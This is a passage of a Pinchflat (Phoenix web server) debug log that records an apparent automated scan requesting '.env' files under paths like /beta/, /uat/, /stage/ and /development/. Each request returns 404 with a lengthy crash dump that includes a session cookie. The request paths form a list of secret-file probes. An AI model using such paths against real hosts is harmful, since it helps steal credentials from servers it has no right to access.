PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 206, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /preview/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/preview/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 206, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:23.021 [info] GET /beta/.env 02:10:23.022 [debug] QUERY OK source="settings" db=0.3ms idle=160.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.022 [debug] QUERY OK source="settings" db=0.1ms idle=160.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.022 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:23.022 [error] #PID<0.3511.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 207) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /beta/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /beta/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/beta/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 207, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3511.0>, params: %{}, path_info: ["beta", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/beta/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6-w7f1gPI4kAATOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/beta/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 207, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /beta/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/beta/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 207, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:23.090 [info] GET /uat/.env 02:10:23.091 [debug] QUERY OK source="settings" db=0.2ms idle=144.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.091 [debug] QUERY OK source="settings" db=0.0ms idle=144.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.091 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:23.092 [error] #PID<0.3512.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 208) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /uat/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /uat/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/uat/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 208, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3512.0>, params: %{}, path_info: ["uat", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/uat/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6_Bc2HbA9X8AATPB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/uat/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 208, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /uat/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/uat/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 208, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: (truncated) 02:10:23.157 [info] GET /stage/.env 02:10:23.158 [debug] QUERY OK source="settings" db=0.5ms idle=199.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.158 [debug] QUERY OK source="settings" db=0.2ms idle=136.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.159 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:23.159 [error] #PID<0.3513.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 209) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /stage/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stage/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stage/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 209, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3513.0>, params: %{}, path_info: ["stage", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/stage/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6_RSr010hSIAATQB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stage/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 209, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /stage/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/stage/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 209, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:23.215 [info] GET /development/.env 02:10:23.216 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=193.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.217 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=125.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM 